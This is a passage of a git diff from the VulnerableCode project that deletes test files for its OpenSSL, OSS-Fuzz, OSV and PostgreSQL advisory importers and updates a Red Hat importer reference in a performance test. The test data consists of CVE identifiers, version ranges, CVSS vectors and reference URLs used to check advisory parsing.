read/unencrypted write - Read/write after SSL object in error state - OpenSSL 1.0.2 (starting from version 1.0.2b) introduced an "error state" - - - """ - - expected = AdvisoryData( - aliases=["CVE-2017-3737", "VC-OPENSSL-20171207-CVE-2017-3737"], - summary='OpenSSL 1.0.2 (starting from version 1.0.2b) introduced an "error state"', - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="openssl", - namespace=None, - name="openssl", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=OpensslVersionRange( - constraints=( - VersionConstraint( - comparator="=", version=OpensslVersion(string="1.0.2b") - ), - VersionConstraint( - comparator="=", version=OpensslVersion(string="1.0.2c") - ), - ) - ), - fixed_version=OpensslVersion(string="1.0.2n"), - ) - ], - references=[ - Reference( - reference_id="CVE-2017-3737", - url="https://nvd.nist.gov/vuln/detail/CVE-2017-3737", - severities=[], - ), - Reference( - reference_id="", - url="https://github.com/openssl/openssl/commit/898fb884b706aaeb283de4812340bb0bde8476dc", - severities=[], - ), - Reference( - reference_id="", - url="https://www.openssl.org/news/secadv/20171207.txt", - severities=[], - ), - ], - date_published=datetime.datetime(2017, 12, 7, 0, 0, tzinfo=datetime.timezone.utc), - url="https://www.openssl.org/news/secadv/20171207.txt", - ) - issue_parsed = DET.fromstring(issue_string) - assert expected == openssl.to_advisory_data(issue_parsed) - - @pytest.mark.django_db(transaction=True) - def test_OpensslImporter(self): - - expected_file = self.get_test_loc( - "security_advisories-importer-expected.json", must_exist=False - ) - - results = self.run_import() - datetime_to_isoformat(results) - util_tests.check_results_against_json(results, expected_file) - - # run again as there should be no duplicates - results = self.run_import() - datetime_to_isoformat(results) - util_tests.check_results_against_json(results, expected_file) - - def run_import(self): - """ - Return a list of imported Advisory model objects. - """ - - class MockOpensslImporter(openssl.OpensslImporter): - """ - A mocked OpensslImporter that loads content from a file rather than - making a network call. - """ - - def fetch(self): - with open(test_file) as tf: - return tf.read() - - test_file = self.get_test_loc("security_advisories.xml") - - ImportRunner(MockOpensslImporter).run() - return list(models.Advisory.objects.all().values(*ADVISORY_FIELDS_TO_TEST)) - - @pytest.mark.django_db(transaction=True) - def test_DefaultImprover_inferences_on_Openssl(self): - - with open(self.get_test_loc("improver/improver-advisories.json")) as vf: - advisories_data = json.load(vf) - - results = [] - improver = default.DefaultImprover() - for advdata in advisories_data: - advisory_data = AdvisoryData.from_dict(advdata) - - inferences = improver.get_inferences(advisory_data=advisory_data) - for i in inferences: - i.vulnerability_id = "PLAIN-ID-FOR-TESTING" - results.append(i.to_dict()) - - expected_file = self.get_test_loc( - "improver/improver-inferences-expected.json", must_exist=False - ) - util_tests.check_results_against_json(results, expected_file) - - -def datetime_to_isoformat(advisories): - for advisory in advisories: - advisory["date_published"] = advisory["date_published"].isoformat() diff --git a/vulnerabilities/tests/test_oss_fuzz.py b/vulnerabilities/tests/test_oss_fuzz.py deleted file mode 100644 index 27f5ebfc4..000000000 --- a/vulnerabilities/tests/test_oss_fuzz.py +++ /dev/null @@ -1,40 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import os -from unittest import TestCase - -import saneyaml - -from vulnerabilities.importers.osv import parse_advisory_data -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/oss_fuzz") - - -class TestOSSFuzzImporter(TestCase): - def test_to_advisories1(self): - with open(os.path.join(TEST_DATA, "oss-fuzz-data1.yaml")) as f: - mock_response = saneyaml.load(f) - expected_file = os.path.join(TEST_DATA, "oss-fuzz-data1.yaml-expected.json") - imported_data = parse_advisory_data( - mock_response, "oss-fuzz", advisory_url="http://test.com" - ) - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_to_advisorie2(self): - with open(os.path.join(TEST_DATA, "oss-fuzz-data2.yaml")) as f: - mock_response = saneyaml.load(f) - expected_file = os.path.join(TEST_DATA, "oss-fuzz-data2.yaml-expected.json") - imported_data = parse_advisory_data( - mock_response, "oss-fuzz", advisory_url="http://test.com" - ) - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/test_osv.py b/vulnerabilities/tests/test_osv.py deleted file mode 100644 index e7505510c..000000000 --- a/vulnerabilities/tests/test_osv.py +++ /dev/null @@ -1,399 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import datetime -from unittest import TestCase - -from packageurl import PackageURL -from univers.version_constraint import VersionConstraint -from univers.version_range import PypiVersionRange -from univers.versions import PypiVersion -from univers.versions import SemverVersion - -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.importers.osv import extract_fixed_versions as fixed_filter -from vulnerabilities.importers.osv import get_affected_purl -from vulnerabilities.importers.osv import get_affected_version_range -from vulnerabilities.importers.osv import get_fixed_versions -from vulnerabilities.importers.osv import get_published_date -from vulnerabilities.importers.osv import get_references -from vulnerabilities.importers.osv import get_severities -from vulnerabilities.severity_systems import SCORING_SYSTEMS - - -class TestOSVImporter(TestCase): - def test_fixed_filter1(self): - results = list( - fixed_filter( - fixed_range={"type": "SEMVER", "events": [{"introduced": "0"}, {"fixed": "1.6.0"}]} - ) - ) - assert results == ["1.6.0"] - - def test_fixed_filter2(self): - results = list( - fixed_filter( - fixed_range={ - "type": "ECOSYSTEM", - "events": [ - {"introduced": "0"}, - {"fixed": "1.0.0"}, - {"introduced": "0"}, - {"fixed": "9.0.0"}, - ], - } - ) - ) - assert results == ["1.0.0", "9.0.0"] - - def test_fixed_filter3(self): - results = list( - fixed_filter( - fixed_range={ - "type": "ECOSYSTEM", - "events": [ - {"introduced": "1.5.0"}, - {"fixed": "1.5.0"}, - {"introduced": "4.01"}, - {"fixed": "9.0g0"}, - {"introduced": "8.0.4"}, - {"fixed": "10.8"}, - ], - } - ) - ) - assert results == ["1.5.0", "9.0g0", "10.8"] - - def test_get_published_date1(self): - results = get_published_date( - raw_data={"id": "GHSA-j3f7-7rmc-6wqj", "published": "2022-01-10T14:12:00Z"} - ) - expected = datetime.datetime(2022, 1, 10, 14, 12, 0, 0).replace( - tzinfo=datetime.timezone.utc - ) - assert results == expected - - def test_get_published_date2(self): - expected = datetime.datetime(2022, 1, 10, 14, 12, 0, 444440).replace( - tzinfo=datetime.timezone.utc - ) - results = get_published_date( - raw_data={"id": "GHSA-j3f7-7rmc-6wqj", "published": "2022-01-10T14:12:00.44444Z"} - ) - assert results == expected - - def test_get_published_date3(self): - assert get_published_date(raw_data={"id": "GHSA-j3f7-7rmc-6wqj"}) is None - - def test_get_severities1(self): - expected = [VulnerabilitySeverity(system=SCORING_SYSTEMS["generic_textual"], value="HIGH")] - results = list( - get_severities( - raw_data={"id": "GHSA-j3f7-7rmc-6wqj", "ecosystem_specific": {"severity": "HIGH"}} - ) - ) - assert results == expected - - def test_get_severities2(self): - results = list( - get_severities( - raw_data={"id": "PYSEC-2022-10", "ecosystem_specific": {}}, - ) - ) - assert results == [] - - def test_get_severities3(self): - results = list( - get_severities( - raw_data={ - "id": "PYSEC-2022-10", - "database_specific": {"severity": "HIGH"}, - } - ) - ) - expected = [ - VulnerabilitySeverity(system=SCORING_SYSTEMS["generic_textual"], value="HIGH"), - ] - assert results == expected - - def test_get_severities4(self): - expected = [ - VulnerabilitySeverity(system=SCORING_SYSTEMS["generic_textual"], value="MODERATE"), - ] - results = list( - get_severities( - raw_data={ - "id": "PYSEC-2022-10", - "database_specific": {"severity": "MODERATE"}, - } - ) - ) - assert results == expected - - def test_get_severities5(self): - results = list(get_severities(raw_data={"id": "PYSEC-2022-10", "database_specific": {}})) - assert results == [] - - def test_get_severities6(self): - results = list(get_severities(raw_data={"id": "PYSEC-2022-10"})) - assert results == [] - - def test_get_severities7(self): - results = list( - get_severities( - raw_data={ - "id": "PYSEC-2022-10", - "severity": [ - {"type": "CVSS_V3", "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"} - ], - } - ) - ) - - expected = [ - VulnerabilitySeverity( - system=SCORING_SYSTEMS["cvssv3.1"], - value="7.1", - scoring_elements="CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", - ) - ] - assert results == expected - - def test_get_severities8(self): - results = list( - get_severities( - raw_data={ - "id": "PYSEC-2022-10", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", - }, - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", - }, - ], - } - ) - ) - - expected = [ - VulnerabilitySeverity( - system=SCORING_SYSTEMS["cvssv3.1"], - value="7.1", - scoring_elements="CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", - ), - VulnerabilitySeverity( - system=SCORING_SYSTEMS["cvssv3.1"], - value="7.1", - scoring_elements="CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", - ), - ] - assert results == expected - - def test_get_references1(self): - expected = [ - Reference( - url="https://github.com/pikepdf/pikepdf/commit/3f38f73218e5e782fe411ccbb3b44a793c0b343a", - severities=[], - ) - ] - results = get_references( - raw_data={ - "id": "PYSEC-2022-10", - "references": [ - { - "type": "FIX", - "url": "https://github.com/pikepdf/pikepdf/commit/3f38f73218e5e782fe411ccbb3b44a793c0b343a", - } - ], - }, - severities=[], - ) - - assert results == expected - - def test_get_references2(self): - expected = [ - Reference( - url="https://github.com/pikepdf/pikepdf/commit/3f38f73218e5e782fe411ccbb3b44a793c0b343a", - severities=[], - ), - Reference( - url="https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=15499", severities=[] - ), - ] - - results = get_references( - raw_data={ - "id": "GHSA-j3f7-7rmc-6wqj", - "references": [ - { - "type": "FIX", - "url": "https://github.com/pikepdf/pikepdf/commit/3f38f73218e5e782fe411ccbb3b44a793c0b343a", - }, - { - "type": "REPORT", - "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=15499", - }, - ], - }, - severities=[], - ) - - assert results == expected - - def test_get_references3(self): - assert get_references(raw_data={"id": "PYSEC-2022-10"}, severities=[]) == [] - - def test_get_affected_purl1(self): - results = get_affected_purl( - affected_pkg={"package": {"purl": "pkg:npm/aws-iot-device-sdk-v2"}}, - raw_id="PYSEC-2022-10", - ) - assert results == PackageURL.from_string("pkg:npm/aws-iot-device-sdk-v2") - - def test_get_affected_purl2(self): - results = get_affected_purl( - affected_pkg={"package": {"name": "aws-iot-device-sdk-v2", "ecosystem": "npm"}}, - raw_id="GHSA-j3f7-7rmc-6wqj", - ) - assert results == PackageURL(type="npm", name="aws-iot-device-sdk-v2") - - def test_get_affected_version_range(self): - affected_version_range = [ - "0.2.4", - "0.2.9", - "0.3.0", - "1.0.2", - "1.0.3", - "1.0.5", - "1.0.6", - "1.1.0", - "1.2.0", - "1.2.1", - "1.3.0", - "1.3.1", - "1.3.2", - "1.4.0", - "1.5.0", - "1.5.1", - "1.5.10", - "1.5.11", - "1.5.12", - "1.5.13", - "1.5.14", - "1.5.15", - "1.5.16", - "1.5.17", - "1.5.18", - "1.5.2", - "1.5.3", - "1.5.4", - "1.5.5", - "1.5.6", - "1.5.7", - "1.5.8", - "1.6.0", - "1.6.1", - "1.6.2", - ] - - results = get_affected_version_range( - affected_pkg={"versions": affected_version_range}, - raw_id="GHSA-j3f7-7rmc-6wqj", - supported_ecosystem="pypi", - ) - - expected = PypiVersionRange( - constraints=[ - VersionConstraint(comparator="=", version=PypiVersion(string="0.2.4")), - VersionConstraint(comparator="=", version=PypiVersion(string="0.2.9")), - VersionConstraint(comparator="=", version=PypiVersion(string="0.3.0")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.0.2")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.0.3")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.0.5")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.0.6")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.1.0")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.2.0")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.2.1")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.3.0")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.3.1")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.3.2")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.4.0")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.0")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.1")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.2")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.3")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.4")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.5")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.6")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.7")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.8")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.10")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.11")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.12")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.13")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.14")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.15")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.16")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.17")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.5.18")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.6.0")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.6.1")), - VersionConstraint(comparator="=", version=PypiVersion(string="1.6.2")), - ] - ) - assert results == expected - - def test_get_fixed_versions1(self): - assert ( - get_fixed_versions( - fixed_range={}, raw_id="GHSA-j3f7-7rmc-6wqj", supported_ecosystem="pypi" - ) - == [] - ) - - def test_get_fixed_versions2(self): - results = get_fixed_versions( - fixed_range={"type": "ECOSYSTEM", "events": [{"introduced": "0"}, {"fixed": "1.7.0"}]}, - raw_id="GHSA-j3f7-7rmc-6wqj", - supported_ecosystem="pypi", - ) - assert results == [PypiVersion("1.7.0")] - - def test_get_fixed_versions3(self): - results = get_fixed_versions( - fixed_range={ - "type": "ECOSYSTEM", - "events": [ - {"introduced": "0"}, - {"fixed": "9.0.0"}, - {"introduced": "0"}, - {"fixed": "9.0.1"}, - ], - }, - raw_id="GHSA-j3f7-7rmc-6wqj", - supported_ecosystem="pypi", - ) - - assert results == [PypiVersion("9.0.0"), PypiVersion("9.0.1")] - - def test_get_fixed_versions4(self): - results = get_fixed_versions( - fixed_range={ - "type": "ECOSYSTEM", - "events": [{"introduced": "0"}, {"fixed": "6.5.4"}], - }, - raw_id="GHSA-r9p9-mrjm-926w", - supported_ecosystem="npm", - ) - - assert results == [SemverVersion("6.5.4")] diff --git a/vulnerabilities/tests/test_performance.py b/vulnerabilities/tests/test_performance.py index ba17bfaa9..c8489f9be 100644 --- a/vulnerabilities/tests/test_performance.py +++ b/vulnerabilities/tests/test_performance.py @@ -10,9 +10,9 @@ import pytest # this import is used in the script -from vulnerabilities.importers import redhat # NOQA +from vulnerabilities.pipelines.v2_importers import redhat_importer # NOQA -script = """for i, data in enumerate(redhat.RedhatImporter().advisory_data()): +script = """for i, data in enumerate(redhat_importer.RedHatImporterPipeline().collect_advisories()): if 1 == 100: break""" diff --git a/vulnerabilities/tests/test_postgres_workaround.py b/vulnerabilities/tests/test_postgres_workaround.py deleted file mode 100644 index b3d2d78cd..000000000 --- a/vulnerabilities/tests/test_postgres_workaround.py +++ /dev/null @@ -1,440 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from datetime import datetime -from datetime import timezone - -import pytest -import pytz -from packageurl import PackageURL -from univers.version_constraint import VersionConstraint -from univers.version_range import MavenVersionRange -from univers.versions import MavenVersion - -from vulnerabilities import severity_systems -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.models import Advisory -from vulnerabilities.pipes.advisory import get_or_create_aliases - -data = AdvisoryData( - aliases=["CVE-2020-8908", "GHSA-5mg8-w23w-74h3"], - summary="lore ipsum dolor sit amet consectetur adipiscing elit sed do eiusmod tempor incididunt ut labore et dolore" - * 1000, - affected_packages=[ - AffectedPackage( - package=PackageURL( - type="maven", - namespace="com.google.guava", - name="guava", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=MavenVersionRange( - constraints=( - VersionConstraint(comparator="<=", version=MavenVersion(string="29.0")), - ) - ), - fixed_version=None, - ), - AffectedPackage( - package=PackageURL( - type="maven", - namespace="com.google.guava", - name="guava", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=MavenVersionRange( - constraints=( - VersionConstraint(comparator="<=", version=MavenVersion(string="29.0")), - ) - ), - fixed_version=None, - ), - AffectedPackage( - package=PackageURL( - type="maven", - namespace="com.google.guava", - name="guava", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=MavenVersionRange( - constraints=( - VersionConstraint(comparator="<=", version=MavenVersion(string="29.0")), - ) - ), - fixed_version=None, - ), - AffectedPackage( - package=PackageURL( - type="maven", - namespace="com.google.guava", - name="guava", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=MavenVersionRange( - constraints=( - VersionConstraint(comparator="<=", version=MavenVersion(string="29.0")), - ) - ), - fixed_version=None, - ), - AffectedPackage( - package=PackageURL( - type="maven", - namespace="com.google.guava", - name="guava", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=MavenVersionRange( - constraints=( - VersionConstraint(comparator="<=", version=MavenVersion(string="29.0")), - ) - ), - fixed_version=None, - ), - AffectedPackage( - package=PackageURL( - type="maven", - namespace="com.google.guava", - name="guava", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=MavenVersionRange( - constraints=( - VersionConstraint(comparator="<=", version=MavenVersion(string="29.0")), - ) - ), - fixed_version=None, - ), - AffectedPackage( - package=PackageURL( - type="maven", - namespace="com.google.guava", - name="guava", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=MavenVersionRange( - constraints=( - VersionConstraint(comparator="<=", version=MavenVersion(string="29.0")), - ) - ), - fixed_version=None, - ), - AffectedPackage( - package=PackageURL( - type="maven", - namespace="com.google.guava", - name="guava", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=MavenVersionRange( - constraints=( - VersionConstraint(comparator="<=", version=MavenVersion(string="29.0")), - ) - ), - fixed_version=None, - ), - AffectedPackage( - package=PackageURL( - type="maven", - namespace="com.google.guava", - name="guava", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=MavenVersionRange( - constraints=( - VersionConstraint(comparator="<=", version=MavenVersion(string="29.0")), - ) - ), - fixed_version=None, - ), - AffectedPackage( - package=PackageURL( - type="maven", - namespace="com.google.guava", - name="guava", - version=None, - qualifiers={}, - subpath=None, - ), - affected_version_range=MavenVersionRange( - constraints=( - VersionConstraint(comparator="<=", version=MavenVersion(string="29.0")), - ) - ), - fixed_version=None, - ), - ], - references=[ - Reference( - reference_id="", url="https://nvd.nist.gov/vuln/detail/CVE-2020-8908", severities=[] - ), - Reference( - reference_id="", url="https://github.com/google/guava/issues/4011", severities=[] - ), - Reference( - reference_id="", - url="https://github.com/google/guava/commit/fec0dbc4634006a6162cfd4d0d09c962073ddf40", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r215b3d50f56faeb2f9383505f3e62faa9f549bb23e8a9848b78a968e@%3Ccommits.ws.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r4776f62dfae4a0006658542f43034a7fc199350e35a66d4e18164ee6@%3Ccommits.cxf.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r68d86f4b06c808204f62bcb254fcb5b0432528ee8d37a07ef4bc8222@%3Ccommits.ws.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r841c5e14e1b55281523ebcde661ece00b38a0569e00ef5e12bd5f6ba@%3Cissues.maven.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rb8c0f1b7589864396690fe42a91a71dea9412e86eec66dc85bbacaaf@%3Ccommits.cxf.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rbc7642b9800249553f13457e46b813bea1aec99d2bc9106510e00ff3@%3Ctorque-dev.db.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rc2dbc4633a6eea1fcbce6831876cfa17b73759a98c65326d1896cb1a@%3Ctorque-dev.db.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rd5d58088812cf8e677d99b07f73c654014c524c94e7fedbdee047604@%3Ctorque-dev.db.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://snyk.io/vuln/SNYK-JAVA-COMGOOGLEGUAVA-1015415", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r3c3b33ee5bef0c67391d27a97cbfd89d44f328cf072b601b58d4e748@%3Ccommits.pulsar.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rfc27e2727a20a574f39273e0432aa97486a332f9b3068f6ac1346594@%3Cdev.myfaces.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rd01f5ff0164c468ec7abc96ff7646cea3cce6378da2e4aa29c6bcb95@%3Cgithub.arrow.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r037fed1d0ebde50c9caf8d99815db3093c344c3f651c5a49a09824ce@%3Cdev.drill.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r07ed3e4417ad043a27bee7bb33322e9bfc7d7e6d1719b8e3dfd95c14@%3Cdev.drill.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r161b87f8037bbaff400194a63cd2016c9a69f5949f06dcc79beeab54@%3Cdev.drill.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r2fe45d96eea8434b91592ca08109118f6308d60f6d0e21d52438cfb4@%3Cdev.drill.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r6874dfe26eefc41b7c9a5e4a0487846fc4accf8c78ff948b24a1104a@%3Cdev.drill.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://www.oracle.com/security-alerts/cpuApr2021.html", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r007add131977f4f576c232b25e024249a3d16f66aad14a4b52819d21@%3Ccommon-issues.hadoop.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r294be9d31c0312d2c0837087204b5d4bf49d0552890e6eec716fa6a6@%3Cyarn-issues.hadoop.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r3dd8881de891598d622227e9840dd7c2ef1d08abbb49e9690c7ae1bc@%3Cissues.geode.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r49549a8322f62cd3acfa4490d25bfba0be04f3f9ff4d14fe36199d27@%3Cyarn-dev.hadoop.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r58a8775205ab1839dba43054b09a9ab3b25b423a4170b2413c4067ac@%3Ccommon-issues.hadoop.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r5b3d93dfdfb7708e796e8762ab40edbde8ff8add48aba53e5ea26f44@%3Cissues.geode.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r5d61b98ceb7bba939a651de5900dbd67be3817db6bfcc41c6e04e199@%3Cyarn-issues.hadoop.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r79e47ed555bdb1180e528420a7a2bb898541367a29a3bc6bbf0baf2c@%3Cissues.hive.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/r7b0e81d8367264d6cad98766a469d64d11248eb654417809bfdacf09@%3Cyarn-issues.hadoop.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/ra7ab308481ee729f998691e8e3e02e93b1dedfc98f6b1cd3d86923b3@%3Cyarn-issues.hadoop.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rb2364f4cf4d274eab5a7ecfaf64bf575cedf8b0173551997c749d322@%3Cgitbox.hive.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rc607bc52f3507b8b9c28c6a747c3122f51ac24afe80af2a670785b97@%3Cissues.geode.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rcafc3a637d82bdc9a24036b2ddcad1e519dd0e6f848fcc3d606fd78f@%3Cdev.hive.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rd2704306ec729ccac726e50339b8a8f079515cc29ccb77713b16e7c5@%3Cissues.hive.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/re120f6b3d2f8222121080342c5801fdafca2f5188ceeb3b49c8a1d27@%3Cyarn-issues.hadoop.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/reebbd63c25bc1a946caa419cec2be78079f8449d1af48e52d47c9e85@%3Cissues.geode.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rf00b688ffa620c990597f829ff85fdbba8bf73ee7bfb34783e1f0d4e@%3Cyarn-dev.hadoop.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rf9f0fa84b8ae1a285f0210bafec6de2a9eba083007d04640b82aa625@%3Cissues.geode.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://www.oracle.com//security-alerts/cpujul2021.html", - severities=[], - ), - Reference( - reference_id="", - url="https://www.oracle.com/security-alerts/cpuoct2021.html", - severities=[], - ), - Reference( - reference_id="", - url="https://lists.apache.org/thread.html/rd7e12d56d49d73e2b8549694974b07561b79b05455f7f781954231bf@%3Cdev.pig.apache.org%3E", - severities=[], - ), - Reference( - reference_id="", - url="https://www.oracle.com/security-alerts/cpujan2022.html", - severities=[], - ), - Reference( - reference_id="", - url="https://security.netapp.com/advisory/ntap-20220210-0003/", - severities=[], - ), - Reference( - reference_id="GHSA-5mg8-w23w-74h3", - url="https://github.com/advisories/GHSA-5mg8-w23w-74h3", - severities=[ - VulnerabilitySeverity( - system=severity_systems.CVSS31_QUALITY, - value="LOW", - ) - ], - ), - ], - date_published=datetime(2021, 3, 25, 17, 4, 19, tzinfo=pytz.UTC), -) - - -@pytest.mark.django_db -def test_postgres_workaround_with_many_references_many_affected_packages_and_long_summary(): - adv, _ = Advisory.objects.get_or_create( - unique_content_id="test-unique-content-id", - url="https://test.url/", - summary=data.summary, - affected_packages=[pkg.to_dict() for pkg in data.affected_packages], - references=[ref.to_dict() for ref in data.references], - date_published=data.date_published, - defaults={ - "created_by": "GH-importer", - "date_collected": datetime.now(tz=timezone.utc), - }, - ) - adv.aliases.add(*get_or_create_aliases(data.aliases)) diff --git a/vulnerabilities/tests/test_postgresql.py b/vulnerabilities/tests/test_postgresql.py deleted file mode 100644 index 0e9e71481..000000000 --- a/vulnerabilities/tests/test_postgresql.py +++ /dev/null @@ -1,40 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import os - -import pytest - -from vulnerabilities.importers.postgresql import to_advisories -from vulnerabilities.models import Package -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join( - BASE_DIR, - "test_data/postgresql", -) - - -def test_to_advisories(): - with open(os.path.join(TEST_DATA, "advisories.html")) as f: - raw_data = f.read() - advisories = to_advisories(raw_data) - result = [data.to_dict() for data in advisories] - expected_file = os.path.join(TEST_DATA, f"parse-advisory-postgresql-expected.json") - util_tests.check_results_against_json(result, expected_file) - - 